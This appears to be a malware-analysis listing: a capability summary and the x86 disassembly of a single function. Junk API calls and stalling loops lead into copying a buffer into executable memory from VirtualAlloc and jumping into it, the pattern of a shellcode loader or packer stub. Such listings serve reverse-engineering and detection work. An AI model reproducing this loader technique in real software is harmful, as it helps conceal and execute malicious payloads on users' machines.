Function at 0x404580
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Get hostname
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
cmp esi, 0xb7e4ee2
jg 0x4045a9
inc esi
cmp esi, 0x73f04bd
jl 0x404594
cmp dword [0x452afc], 0x400
jne 0x40460f
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push 0x403f60
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
push 0
push 0
call fcn.00404bb8
push 0
call fcn.00404e82
add esp, 0xc
push 0
call fcn.004051e1
push ecx
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00405050
fstp st(0)
add esp, 8
cmp dword [0x452afc], 0x93
jne 0x404679
xor ecx, ecx
lock bts dword [ecx], 0
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x403fc8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call fcn.00404ede
add esp, 4
push 0
push 0
call fcn.00404f0d
add esp, 8
call fcn.00404570
fldz
sub esp, 8
fstp qword [esp]
call fcn.0040525d
fstp st(0)
push 0
push 0
call fcn.0040502f
add esp, 0x10
mov eax, dword [0x452afc]
mov ecx, dword [0x44dc84]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push 0
mov dword [0x453938], ecx
mov dword [0x452afc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x45258c], eax
mov esi, 0x1692e
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4046b0
cmp dword [0x452afc], esi
jbe 0x40471c
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
nop
mov edx, dword [0x453938]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x45258c]
mov byte [ecx + esi], al
cmp dword [0x452afc], 0x490
jne 0x404713
push 0
lea edx, [ebp - 4]
push edx
call edi
push 0x404050
call ebx
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
inc esi
cmp esi, dword [0x452afc]
jb 0x4046d0
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor esi, esi
mov edx, dword [0x452afc]
add edx, esi
cmp edx, 0x8d
jne 0x40475f
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
push 0
push 0
push 0
call edi
lea ecx, [ebp - 8]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x40472a
call fcn.00404450
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404781
call ebx
cmp esi, 0x207142
jg 0x404792
inc esi
cmp esi, 0x67d12
jl 0x404777
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4047b2
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x1219
mov edx, dword [ebp - 4]
add dword [0x45258c], edx
inc esi
cmp esi, 0x674bd
jl 0x404794
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFix]
mov dword [ebp - 4], 0x7b
cmp dword [0x452afc], 0x86
jne 0x40480a
push 0x404130
call esi
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x452afc], 0xf
jne 0x404821
push 0
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
sub dword [ebp - 4], 1
jne 0x4047d4
push 0x403fbc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45258c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret